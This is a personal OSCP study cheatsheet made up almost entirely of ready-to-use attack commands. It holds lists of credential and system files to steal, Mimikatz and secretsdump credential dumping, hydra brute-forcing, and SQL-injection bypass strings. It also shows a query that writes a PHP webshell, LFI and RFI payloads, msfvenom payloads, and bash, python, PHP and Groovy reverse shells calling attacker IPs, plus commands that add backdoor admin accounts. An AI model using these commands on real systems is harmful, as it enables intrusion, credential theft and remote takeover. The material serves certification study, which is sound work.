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📚 OSCP Cheatsheet

  • 🚀 Prepared as part of my OSCP journey.
  • 🔄 Continuously updated.
  • 📬 Feel free to email me with suggestions: [email protected]

Table of Content

General

Important Locations

  • Windows

    C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

  • Linux

    /etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
#id_rsa, id_ecdsa, id_ecdsa_sk, id_ed25519, id_ed25519_sk, and id_dsa
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_edcsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession

File Transfers

  • Downloading on Windows
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
iwr -uri http://lhost/file -Outfile file
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
copy \\kali\share\file .
  • Downloading on Linux
wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

Windows to Kali

kali> impacket-smbserver -smb2support <sharename> .
win> copy file \\KaliIP\sharename

Adding Users

Windows

net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /ADD

Linux

adduser <uname> #Interactive
useradd <uname>

useradd -u <UID> -g <group> <uname>  #UID can be something new than existing, this command is to add a user to a specific group

Password-Hash Cracking

Hash Analyzer: https://www.tunnelsup.com/hash-analyzer/

fcrackzip

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip #Cracking zip files

John

https://github.com/openwall/john/tree/bleeding-jumbo/run

ssh2john.py id_rsa > hash
#Convert the obtained hash to John format(above link)
john hashfile --wordlist=rockyou.txt

Hashcat

https://hashcat.net/wiki/doku.php?id=example_hashes

#Obtain the Hash module number 
hashcat -m <number> hash wordlists.txt --force

Impacket

smbclient.py [domain]/[user]:[password/password hash]@[Target IP Address] #we connect to the server rather than a share

lookupsid.py [domain]/[user]:[password/password hash]@[Target IP Address] #User enumeration on target

services.py [domain]/[user]:[Password/Password Hash]@[Target IP Address] [Action] #service enumeration

secretsdump.py [domain]/[user]:[password/password hash]@[Target IP Address]  #Dumping hashes on target

GetUserSPNs.py [domain]/[user]:[password/password hash]@[Target IP Address] -dc-ip <IP> -request  #Kerberoasting, and request option dumps TGS

GetNPUsers.py test.local/ -dc-ip <IP> -usersfile usernames.txt -format hashcat -outputfile hashes.txt #Asreproasting, need to provide usernames list

##RCE
psexec.py test.local/john:[email protected]
psexec.py -hashes lmhash:nthash test.local/[email protected]

wmiexec.py test.local/john:[email protected]
wmiexec.py -hashes lmhash:nthash test.local/[email protected]

smbexec.py test.local/john:[email protected]
smbexec.py -hashes lmhash:nthash test.local/[email protected]

atexec.py test.local/john:[email protected] <command>
atexec.py -hashes lmhash:nthash test.local/[email protected] <command>

Evil-Winrm

##winrm service discovery
nmap -p5985,5986 <IP>
5985 - plaintext protocol
5986 - encrypted

##Login with password
evil-winrm -i <IP> -u user -p pass
evil-winrm -i <IP> -u user -p pass -S #if 5986 port is open

##Login with Hash
evil-winrm -i <IP> -u user -H ntlmhash

##Login with key
evil-winrm -i <IP> -c certificate.pem -k priv-key.pem -S #-c for public key and -k for private key

##Logs
evil-winrm -i <IP> -u user -p pass -l

##File upload and download
upload <file>
download <file> <filepath-kali> #not required to provide path all time

##Loading files direclty from Kali location
evil-winrm -i <IP> -u user -p pass -s /opt/privsc/powershell #Location can be different
Bypass-4MSI
Invoke-Mimikatz.ps1
Invoke-Mimikatz

##evil-winrm commands
menu # to view commands
#There are several commands to run
#This is an example for running a binary
evil-winrm -i <IP> -u user -p pass -e /opt/privsc
Bypass-4MSI
menu
Invoke-Binary /opt/privsc/winPEASx64.exe

Mimikatz

privilege::debug
sekurlsa::logonpasswords #hashes and plaintext passwords
lsadump::sam
lsadump::lsa /patch #both these dump SAM

#OneLiner
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Ligolo-ng

#Creating interface and starting it.
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

#Kali machine - Attacker machine
./proxy -laddr <LHOST>:9001 -selfcert

#windows or linux machine - compromised machine
./agent -connect <LHOST>:9001 -ignore-cert

#In Ligolo-ng console
session #select host
ifconfig #Notedown the internal network's subnet
start #after adding relevent subnet to ligolo interface

#Adding subnet to ligolo interface - Kali linux
sudo ip r add <subnet> dev ligolo

Recon and Enumeration

  • OSINT OR Passive Recon

    💡 Not that useful for OSCP as we’ll be dealing with internal machines
    • whois: whois <domain> or whois <domain> -h <IP>
    • Google dorking,
      • site
      • filetype
      • intitle
      • GHDB - Google hacking database
    • OS and Service Information using searchdns.netcraft.com
    • Github dorking
      • filename
      • user
      • A tool called Gitleaks for automated enumeration
    • Shodan dorks
      • hostname
      • port
      • Then gather infor by going through the options
    • Scanning Security headers and SSL/TLS using https://securityheaders.com/

Port Scanning

#use -Pn option if you're getting nothing in scan
nmap -sC -sV <IP> -v #Basic scan
nmap -T4 -A -p- <IP> -v #complete scan
sudo nmap -sV -p 443 --script "vuln" 192.168.50.124 #running vuln category scripts

#NSE
updatedb
locate .nse | grep <name>
sudo nmap --script="name" <IP> #here we can specify other options like specific ports...etc

Test-NetConnection -Port <port> <IP>   #powershell utility

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 2>$null #automating port scan of first 1024 ports in powershell

FTP enumeration

ftp <IP>
#login if you have relevant creds or based on nmpa scan find out whether this has anonymous login or not, then loginwith Anonymous:password

put <file> #uploading file
get <file> #downloading file

#NSE
locate .nse | grep ftp
nmap -p21 --script=<name> <IP>

#bruteforce
hydra -L users.txt -P passwords.txt <IP> ftp #'-L' for usernames list, '-l' for username and viceversa

#check for vulnerabilities associated with the version identified.

SSH enumeration

#Login
ssh uname@IP #enter password in the prompt

#id_rsa or id_ecdsa file
chmod 600 id_rsa/id_ecdsa
ssh uname@IP -i id_rsa/id_ecdsa #if it still asks for password, crack them using John

#cracking id_rsa or id_ecdsa
ssh2john id_ecdsa(or)id_rsa > hash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash

#bruteforce
hydra -l uname -P passwords.txt <IP> ssh #'-L' for usernames list, '-l' for username and viceversa

#check for vulnerabilities associated with the version identified.

SMB enumeration

sudo nbtscan -r 192.168.50.0/24 #IP or range can be provided

#NSE scripts can be used
locate .nse | grep smb
nmap -p445 --script="name" $IP 

#In windows we can view like this
net view \\<computername/IP> /all

#crackmapexec
crackmapexec smb <IP/range>  
crackmapexec smb 192.168.1.100 -u username -p password
crackmapexec smb 192.168.1.100 -u username -p password --shares #lists available shares
crackmapexec smb 192.168.1.100 -u username -p password --users #lists users
crackmapexec smb 192.168.1.100 -u username -p password --all #all information
crackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares #specific port
crackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares #specific domain
#Inplace of username and password, we can include usernames.txt and passwords.txt for password-spraying or bruteforcing.

# Smbclient
smbclient -L //IP #or try with 4 /'s
smbclient //server/share
smbclient //server/share -U <username>
mbclient //server/share -U domain/username

#SMBmap
smbmap -H <target_ip>
smbmap -H <target_ip> -u <username> -p <password>
smbmap -H <target_ip> -u <username> -p <password> -d <domain>
smbmap -H <target_ip> -u <username> -p <password> -r <share_name>

#Within SMB session
put <file> #to upload file
get <file> #to download file
  • Downloading shares made easy - if the folder consists of several files, they all be downloading by this.
mask ""
recurse ON
prompt OFF
mget *

HTTP/S enumeration

  • View source-code and identify any hidden content. If some image looks suspicious download and try to find hidden data in it.
  • Identify the version or CMS and check for active exploits. This can be done using Nmap and Wappalyzer.
  • check /robots.txt folder
  • Look for the hostname and add the relevant one to /etc/hosts file.
  • Directory and file discovery - Obtain any hidden files which may contain juicy information
dirbuster
gobuster dir -u http://example.com -w /path/to/wordlist.txt
python3 dirsearch.py -u http://example.com -w /path/to/wordlist.txt
  • Vulnerability Scanning using nikto: nikto -h <url>
  • SSL certificate inspection, this may reveal information like subdomains, usernames…etc
  • Default credentials, Identify the CMS or service ans check for default credentials and test them out.
  • Bruteforce
hydra -L users.txt -P password.txt <IP or domain> http-{post/get}-form "/path:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also do capture the response for detailed info.

#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!
  • if cgi-bin is present then do further fuzzing and obtain files like .sh or .pl
  • Check if other services like FTP/SMB or anyothers which has upload privileges are getting reflected on web.
  • API - Fuzz further and it can reveal some sensitive information
#identifying endpoints using gobuster
gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern #pattern can be like {GOBUSTER}/v1 here v1 is just for example, it can be anything

#obtaining info using curl
curl -i http://192.168.50.16:5002/users/v1
  • If there is any Input field check for Remote Code execution or SQL Injection
  • Check the URL, whether we can leverage Local or Remote File Inclusion.
  • Also check if there’s any file upload utility(also obtain the location it’s getting reflected)

Wordpress

# basic usage
wpscan --url "target" --verbose

# enumerate vulnerable plugins, users, vulrenable themes, timthumbs
wpscan --url "target" --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.log

# Add Wpscan API to get the details of vulnerabilties.

Drupal

droopescan scan drupal -u http://site

Joomla

droopescan scan joomla --url http://site
sudo python3 joomla-brute.py -u http://site/ -w passwords.txt -usr username #https://github.com/ajnik/joomla-bruteforce

DNS enumeration

host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com

for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash bruteforcer to find domain name

dnsrecon -d megacorpone.com -t std #standard recon
dnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list

dnsenum megacorpone.com

nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151 #we're querying with a specific IP

SMTP enumeration

nc -nv <IP> 25 #Version Detection
smtp-user-enum -M VRFY -U username.txt -t <IP> # -M means mode, it can be RCPT, VRFY, EXPN

#Sending email with valid credentials, the below is an example for Phishing mail attack
sudo swaks -t [email protected] -t [email protected] --from [email protected] --server <mailserver-IP> --body @body.txt --header "Test" --suppress-data -ap

LDAP Enumeration

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
#CN name describes the info w're collecting
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

#windapsearch.py
#for computers
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --computers

#for groups
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --groups

#for users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --da

#for privileged users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --privileged-users

NFS Enumeration

nmap -sV --script=nfs-showmount <IP>
showmount -e <IP>

SNMP Enumeration

#Nmap UDP scan
sudo nmap <IP> -A -T4 -p- -sU -v -oN nmap-udpscan.txt

snmpcheck -t <IP> -c public #Better version than snmpwalk as it displays more user friendly

snmpwalk -c public -v1 -t 10 <IP> #Displays entire MIB tree, MIB Means Management Information Base
snmpwalk -c public -v1 <IP> 1.3.6.1.4.1.77.1.2.25 #Windows User enumeration
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.4.2.1.2 #Windows Processes enumeration
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.25.6.3.1.2 #Installed software enumeraion
snmpwalk -c public -v1 <IP> 1.3.6.1.2.1.6.13.1.3 #Opened TCP Ports

#Windows MIB values
1.3.6.1.2.1.25.1.6.0 - System Processes
1.3.6.1.2.1.25.4.2.1.2 - Running Programs
1.3.6.1.2.1.25.4.2.1.4 - Processes Path
1.3.6.1.2.1.25.2.3.1.4 - Storage Units
1.3.6.1.2.1.25.6.3.1.2 - Software Name
1.3.6.1.4.1.77.1.2.25 - User Accounts
1.3.6.1.2.1.6.13.1.3 - TCP Local Ports

RPC Enumeration

rpcclient -U=user $DCIP
rpcclient -U="" $DCIP #Anonymous login
##Commands within in RPCclient
srvinfo
enumdomusers #users
enumpriv #like "whoami /priv"
queryuser <user> #detailed user info
getuserdompwinfo <RID> #password policy, get user-RID from previous command
lookupnames <user> #SID of specified user
createdomuser <username> #Creating a user
deletedomuser <username>
enumdomains
enumdomgroups
querygroup <group-RID> #get rid from previous command
querydispinfo #description of all users
netshareenum #Share enumeration, this only comesup if the current user we're logged in has permissions
netshareenumall
lsaenumsid #SID of all users

Web Attacks

💡 Cross-platform PHP revershell: ![https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php][https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php]

Directory Traversal

cat /etc/passwd #displaying content through absolute path
cat ../../../etc/passwd #relative path

# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this
cat ../../etc/passwd

#In web int should be exploited like this, find a parameters and test it out
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa
#If the output is not getting formatted properly then,
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd 

#For windows
http://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive
  • URL Encoding
#Sometimes it doesn't show if we try path, then we need to encode them
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Local File Inclusion

  • Main difference between Directory traversal and this attack is, here we’re able to execute commands remotely.
#At first we need 
http://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami #we're passing a command here

#Reverse shells
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #encoded version of above reverse-shell

#PHP wrapper
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('uname%20-a');?>" 
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php
  • Remote file inclusion
1. Obtain a php shell
2. host a file server 
3.
http://mountaindesserts.com/meteor/index.php?page=http://attacker-ip/simple-backdoor.php&cmd=ls
we can also host a php reverseshell and obtain shell.

SQL Injection

admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-
  • Blind SQL Injection - This can be identified by Time-based SQLI
#Application takes some time to reload, here it is 3 seconds
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
  • Manual Code Execution
kali> impacket-mssqlclient Administrator:[email protected] -windows-auth #To login
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#Now we can run commands
EXECUTE xp_cmdshell 'whoami';

#Sometimes we may not have direct access to convert it to RCE from web, then follow below steps
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // #Writing into a new file
#Now we can exploit it
http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution
  • SQLMap - Automated Code execution
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "user", we'll get confirmation
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump #Dumping database

#OS Shell
#  Obtain the Post request from Burp suite and save it to post.txt
sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp" #/var/www/html/tmp is the writable folder on target, hence we're writing there

Exploitation

Reverse Shells

Msfvenom

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php

One Liners

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
<?php echo shell_exec('bash -i >& /dev/tcp/10.11.0.106/443 0>&1');?>
#For powershell use the encrypted tool that's in Tools folder
💡 While dealing with PHP reverseshell use: [https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php)

Groovy reverse-shell

  • For Jenkins
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Windows Privilege Escalation

Basic

#Starting, Restarting and Stopping services in Powershell
Start-Service <service>
Stop-Service <service>
Restart-Service <service>

#Powershell History
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Automated Scripts

winpeas.exe
winpeas.bat
Jaws-enum.ps1
powerup.ps1
PrivescCheck.ps1

Token Impersonation

  • Command to check whoami /priv
#Printspoofer
PrintSpoofer.exe -i -c powershell.exe 
PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd"

#RoguePotato
RoguePotato.exe -r <AttackerIP> -e "shell.exe" -l 9999

#GodPotato
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "shell.exe"

#JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "shell.exe" -a

#SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
#writes whoami command to w.log file

Services

Binary Hijacking

#Identify service from winpeas
icalcs "path" #F means full permission, we need to check we have full access on folder
sc qc <servicename> #find binarypath variable
